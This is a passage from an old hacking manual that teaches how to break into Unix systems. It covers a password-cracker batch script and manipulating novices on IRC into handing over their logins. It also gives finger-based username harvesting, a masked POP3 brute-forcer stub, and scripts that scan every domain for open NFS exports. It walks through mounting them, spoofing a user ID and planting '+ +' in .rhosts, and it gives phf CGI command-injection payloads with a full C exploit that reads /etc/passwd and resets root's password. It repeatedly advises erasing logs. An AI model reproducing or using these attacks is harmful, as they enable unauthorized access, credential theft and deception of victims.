%1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 --------------- end of jackhash.bat You can get password files without an account, see next chapter. ------------------ Section 2B. Talking to newbe's ------------------ There are other ways to get an account without doing much work. Park yourself on an irc channel that you made with a title about hacking. Also try joining other channels already on the irc. Channels would include: #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii #hackers_hideout or any others you can find. Now what you are looking for are newbe's looking to learn or exploit their shell they are on already. There is always someone out there that does not know as much as you. Watch for someone out there that asks a newbe question and gets no answer or even kicked off the channel. Here is your mark ;) /msg him so that others can't see that you are talking to him, and begin to ask him questions, try to help him, but not too much ;) Finally tell him that you can login for him and do it. This could be to snatch the passwd file or god knows what. Promise him the world and get that login password. Now you have a start and can start your on-hands learning process. If you get root on the system you might not want to expose that to him, but you can feed him other goodies that will keep him busy while you sniff some other passwords on the system. So now if there are some out there that remember i-e when you gave him your login and password, you can be sure that the above never happened <G>rin ... I tend to like to help people learn so I am telling the truth when i say I have dealt honestly with most everyone I have come across. ------------- Section 2C. The hard way ------------- There is another way you can do this. Be sure that on most big systems that users do not use secure passwords. from a shell do this: finger @domainname.com Watch I will do a real domain: [10:35am][/home/ii]finger @starnet.net [starnet.net] Login Name Tty Idle Login Time Office Office Phone chris Chris Myers p2 4:46 Jan 27 11:19 mike Mike Suter p1 4:57 Jan 22 16:14 mike Mike Suter p5 3d Jan 16 15:35 root System Administrator p3 4:59 Jan 16 10:17 wendt Catherine Wendt-Bern p0 3 Jan 21 14:49 [10:35am][/home/ii] Now we might want to try logging in later, log this information: Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc... This one looks good, wendt:Catherine:catherine Here is another command: [10:35am][/home/ii]finger -l @starnet.net [starnet.net] Login: mike Name: Mike Suter Directory: /usra/staff/mike Shell: /bin/csh On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk No Plan. Login: root Name: System Administrator Directory: /root Shell: /bin/csh On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net Mail forwarded to: \chris@admin.starnet.net #\chris@admin.starnet.net, \mike@admin.starnet.net No Plan. Login: wendt Name: Catherine Wendt-Bernal Directory: /usra/staff/wendt Shell: /bin/csh On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout No Plan. You get more info to play with ;) I know this can make you tired .... Remember this stuff will log your tries, so if you get on and get root, clean the logs ;) Here is a small .c file you can use if you get on. pop3hack.c ----- cut here #include <stdio.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdarg.h> /* First, define the POP-3 port - almost always 110 */ #define POP3_PORT 110 /* What we want our program to be masked as, so nosy sys admin's don't kill us */ #define MASKAS "vi" /* Repeat connect or not - remember, logs still report a connection, so you might want to set this to 0. If set to 0, it will hack until it finds 1 user/password then exit. If set to 1, it will reconnect and try more user/passwords (until it runs out of usernames) */ #define RECONNECT 0 ----- cut here You could also write a small perl script that will finger @ from a domain list and cat the response to a file, then when done it will go back and try to login using pop3d username-username (or other info) and putting the response into another file for you. You can ftp to rs.internic.net: in the domain directory you will find: com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz download these files and run getdomain.pl (script below) on the domains you want to target first, in this manor: "perl getdomain.pl com.zone com >com.all" What this will do is rip all of the .COM domains and put them into a file called comm.all. If you wanted to do all of the .EDU addresses you would type: perl getdomain.pl edu.zone edu >edu.all Now you will have a list to use with your probe called edu.all Here is the perl script getdomain.pl ---- cut here #!/usr/bin/perl # GetDomain By Nfin8 / Invisible Evil # Questions /msg i-e or /msg i^e # # Retrieve command line arguments. my($inputfile, $domain) = @ARGV; usage() if (!defined($inputfile) || !defined($domain)); # Open and preprocess the input file. open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n"); my(@lines) = <INFILE>; # Initialize main data structure. my(%hash) = {}; my($key) = ""; foreach (@lines) { $key = (split(/\ /))[0]; chop($key); next if ((($key =~ tr/.//) < 1) || (uc($domain) ne uc(((split(/\./, $key))[-1]))) || ($key =~ m/root-server/i)); $hash{$key}++; } # Close input file and output data structure to STDOUT. close(INFILE); foreach (sort(keys(%hash))) { print "$_\n"; } sub usage { print("\n\ngetdomain:\n"); print("Usage: getdomain [inputfile] [search]\n\n"); print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n"); exit(0); } 0; ---- cut here - end of script ----- To use the script above all you need to do is copy between the lines above and name it getdomain.pl, now copy it into the unix os and type chmod +x getdomain.pl Now it is ready to run with the command lines above. ------------------------------------------ Section 2D. using Mount to gain access to unix systems ------------------------------------------ This is not hard to do and there are many systems out there that are mountable. Mount is a command in unix that will allow you to mount remote machines drives you yours. This is done so you can do installs from other machines, or just share drives or directories across the network. The problem is that many admins are good with unix commands or setup. Or maybe they are just plain lazy and mount the drives with world access not understanding that the world can mount the drive and gain write access to their users directories. What you will need to get started here is a hacked root account. To be able to mount the remote drive and gain access you will need to modify the system's password file and use the su command. Ok let's say we have root access. let's get started! You can see if another system has mountable drives by using the showmount command. From root account: $root> showmount -e wwa.com mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive Ok, no problem, this domain will not work, go on to the next one... $root> showmount -e seva.net Export list for seva.net: /var/mail pluto.seva.net /home/user1 pluto.seva.net /usr/local pluto.seva.net,rover.seva.net /export/X11R6.3 rover.seva.net /export/rover rover.seva.net,pluto.seva.net /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone) Notice the (everyone), this would be good if we wanted to install linux from this guy's box, but we want open directories to users.... so go on to the next one... $root> showmount -e XXXXX.XXX < this one worked ... find your own ;) Export list for XXXXX.XXX: /export/home (everyone) Now this guy mounted his home directory, the user accounts are off of the home directory ;) and look above ... (everyone) can access it! Ok, this section was to show you how to see if they are mountable, in the next section i will show you how to mount and hack it. But for now, here is a script that will scan for EVERY DOMAIN on the internet that is mountable and log them for you. To use this script simply use the domain ripper in the PHF section and download the needed files from rs.internic.net rip some domains and name the file 'domains' and startup the script. To make it run in the background put a & after the command. like this: cmount.pl& How it works: When you run the file it will go to the domains list and run showmount -e on each domain, if it finds that there is a return on mountable drives it will save the info in the current directory in files named: domain.XXX.export. All you have to do is view the files and mount the drives! --------------- start of cmount.pl #!/usr/bin/perl -w # # Check NFS exports of hosts listed in file. # (Hosts are listed, once per line with no additional whitespaces.) # # ii@dormroom.pyro.net - 2/27/97. # Assign null list to @URLs which will be added to later. my(@result) = (); my(@domains) = (); my($program) = "showmount -e "; # Pull off filename from commandline. If it isn't defined, then assign default. my($DomainFilename) = shift; $DomainFilename = "domains" if !defined($DomainFilename); # Do checking on input. die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename); # Open $DomainFilename. open(DOMAINFILE, $DomainFilename) or die("mountDomains: Cannot open $DomainFilename for input.\n"); while (<DOMAINFILE>) { chomp($_); print "Now checking: $_"; # Note difference in program output capture from "geturl.pl". open (EXECFILE, "$program $_ |"); @execResult = <EXECFILE>; next if (!defined($execResult[0])); if ($execResult[0] =~ /^Export/) { print " - Export list saved."; open (OUTFILE, ">$_.export"); foreach (@execResult) { print OUTFILE; } close (OUTFILE); } close(EXECFILE); print "\n"; } # We are done. Close all files and end the program. close (DOMAINFILE); 0; ----------------- end of cmount.pl Ok, now on to mounting the drives .... lets say we did a showmount -e domain.com and got back: Export list for domain.com: / (everyone) /p1 (everyone) /p2 (everyone) /p3 (everyone) /p5 (everyone) /p6 (everyone) /p7 (everyone) /var/spool/mail titan,europa,galifrey /tmp (everyone) We would want to mount / .. yup .... this guy has his entire system mountable! $root> mkdir /tmp/mount $root> mount -nt nfs domain.com:/ /tmp/mount If he had the home directory mountable the command would be: $root> mount -nt nfs domain.com:/home /tmp/mount To unmount the system, make sure you are out of the directory and type: $root> umount /tmp/mount Make sure you make the mount directory first, you can make this anywhere on the system that you want. If the systems /mnt directory is empty you can use it also. Ok this is for real: bash# ls -al /mnt ; making sure the mnt dir is empty ls: /mnt: No such file or directory ; there was not even a dir there ;) bash# mkdir /mnt ; lets make one for them <g>rin bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ... bash# cd /mnt ; changing to the mounted drive... bash# ls ; just the plain dir .. TT_DB home raddb share back local radius-961029.gz www exec lost+found radius-961029.ps bash# ; there is is up there, the home dir ... oh good ... bash# cd home bash# ls -l ; long directory listing ... tom is looking good here ;) total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file bash# pico /etc/passwd tom:x:302:2::/home:/bin/bash ; this should do it ;) bash# su - tom ; su to the tom account ... bash$ ls -l total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash$ ; NOTICE above that toms user number is gone ... we now own his dir! bash$ echo + +>>tom/.rhosts ; this will make a file in his dir called .rhosts bash$ ;inside .rhosts will be wild cards + + for anyone to rlogin to his account bash$ rlogin xxxxx.xxx we are tom on our machine, so lets just rlogin plain. Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx Sun Microsystems Inc. SunOS 5.5 Generic November 1995 > ; yup we are in! > ls -al total 8 drwxr-xr-x 2 tom group 512 Mar 1 17:10 . drwxr-xr-x 14 tom group 512 Jan 24 11:16 .. -rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile -rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts > So now we have access, so lets just hack this system ... oops, that is another lesson! Have pun! --------------------- Chapter III Getting passwd files --------------------- Here are some ways to get password files from unix systems. Most of them you will need an account, but there is still a way to access to the system without having an account. Here you will learn the difference between a regular passwd file and a shadowed passwd file. You will also learn a way to read the shadowed password file. ------------------ Section 3A PHF WWW PH Query ------------------ There is a program in the WWW cgi-bin directory called phf, if the file is there, and has permission x, you can access it by using the www, or a text version browser in linux called lynx. Now you can read files on the system (yup .. /etc/passwd) and save them to files local in your computer. There are many things we can get done here. If the server is running their httpd server as root owner, we can be root by using phf and even change an account password on the machine. I will include a perl script here that will auto check all of the systems out there by using the getdomain.pl script above and check what the server is running under. If it is running under root, it will just log the id, if the server is not running under root, it will auto get the passwd file from the /etc directory and name it domainname.???.passwd. I will also attach a script that will allow you to use a simple command from a shell and if phf is on the system allow you to pipe commands from the shell to the remote system with one command line. Ok now that you know what is coming, lets teach you how to use phf. Use your favorite web browser, or the text version in unix called most of the time lynx, on some systems www. After the screen comes up type the letter g, now a line appears like below: URL to open: Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list You type: URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list It returns: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) So here we see it is running under a user (nobody), so we can be a user named nobody on this system. We are not root, but this will have to do ;) Notice the command line: http://afp.org/cgi-bin/phf/?Qalias=x%0aid The id was the command to the server to give us the id of the user. Some times you will have to give the full path to the file you want to run, in this case it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Notice that after the %0a you start your command line. If you need to enter a space you would put a %20 instead of the space. Here would be some sample command lines. I will start them with %0a Cat the passwd file %0a/bin/cat%20/etc/passwd Get a long directory of the /etc directory of all files starting with pass %0als%20-al%20/etc/pass* backup the passwd file if you have root access to httpd to passwd.my %0acp%20/etc/passwd%20/etc/passwd.my Change the root passwd (if the server will let you (most times it works) %0apasswd%20root (the above should let you login without a password, make sure to copy the passwd.my file over the passwd file right away, and then delete the backup, then make yourself an suid bash shell somewhere and rename it, sniff to get your passwords) If you know how to type commands in unix and don't forget that you need to use %20 in the place of spaces, you will not have any problems! Ok lets cat the passwd file on this box ;) URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd We get: QUERY RESULTS /usr/local/bin/ph -m alias=x cat /etc/passwd root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash A small passwd file <g>rin If you want to save this to a file in your local directory, just choose the print option in the text browser and you will get an option to save the file in your home directory. Lets learn something here: mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=username 2=encrypted password 3=user number 4=groop id 5=real name 6=home directory 7=shell Ok, lets say you do not want to keep using the WWW browser, here is a script you can compile to just type regular commands from your shell. phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); } command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1][i] != '\0') { if (argv[1][i] == 32) strcat(command, "%20"); else { sprintf(j, "%c", argv[1][i]); strcat(command, j); } ++i; } strcpy(hostname, argv[2]); if (argc == 4) port = atoi(argv[3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); exit(1); } } sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "%s: could not get socket\n", argv[0]); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { close(s); fprintf(stderr, "%s: could not establish connection\n", argv[0]); exit(1); } sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command); free(command); write(s, exploit, strlen(exploit)); while(bytes == 128) { bytes = read(s, buffer, 128); fprintf(stdout, buffer); } close(s); } -------- cut here Here is how you use it: bash% phf id xxx.org ------ <H1>Query Results</H1> <P> /usr/local/bin/ph -m alias=X id <PRE> uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) </GET /cgi-bin/phf/?Qalias=X%0aid ------ The above was our response, remember to use the %codes after your command. To cat the password file using this program you would type: phf cat%20/etc/passwd hostname.xxx Yet Another way to use phf was written by Quantumg on his web page, this is new and just thought of, so I was sure to add this right into this manual for you. Here is the text: New QG Phf Attack MO -------------------- yerp.. I know it's a long time since phf has been considered a viable attack but you'd be surprised just how many stupid linux operators there are out there.. first.. a little background. Phf is a cgi-bin executable found on apache web servers. It is sploitable and the result is you can execute commands on the web server as whoever they're running httpd as, usually nobody but sometimes as root. To sploit it is simply a matter of connecting to the web server and giving the query: GET /cgi-bin/phf/?Qalias=X%0a followed by the command you wish to execute with %20 used for spaces. You can do no piping, quotes, shell replacements, etc. ok.. so on with the attack. What we are going to do is go and look for a linux box (I usually telnet to the box to see the issue.net) which has the phf bug. I, like a whole lot of other people, use the program phf loxsmith to exploit the phf bug. All it does is connect to the host specified in argv[2] and dump the query with argv[1] as the command. It is used as such: phf id www.host.to.hack where id is the command you want to execute. This is the first thing I'd do. Not only does it tell me if the box is sploitable, it also tells me what they are running httpd as. So, assuming we get back a nice response, we have a box to hack. The first problem is getting stuff onto the box to execute. It's not much of a problem. You can 1 check for writable ftp directory's or 2, and my personal favorite, use rcp. To use rcp you need to set up a few things on your machine (or better yet, a machine that you hacked earlier). The first of these things is an account that you can use for the transfer. Select something simple and unmemoriable. I use the username "test". Next you need to put the name of the host you are hacking (www.host.to.hack) in your 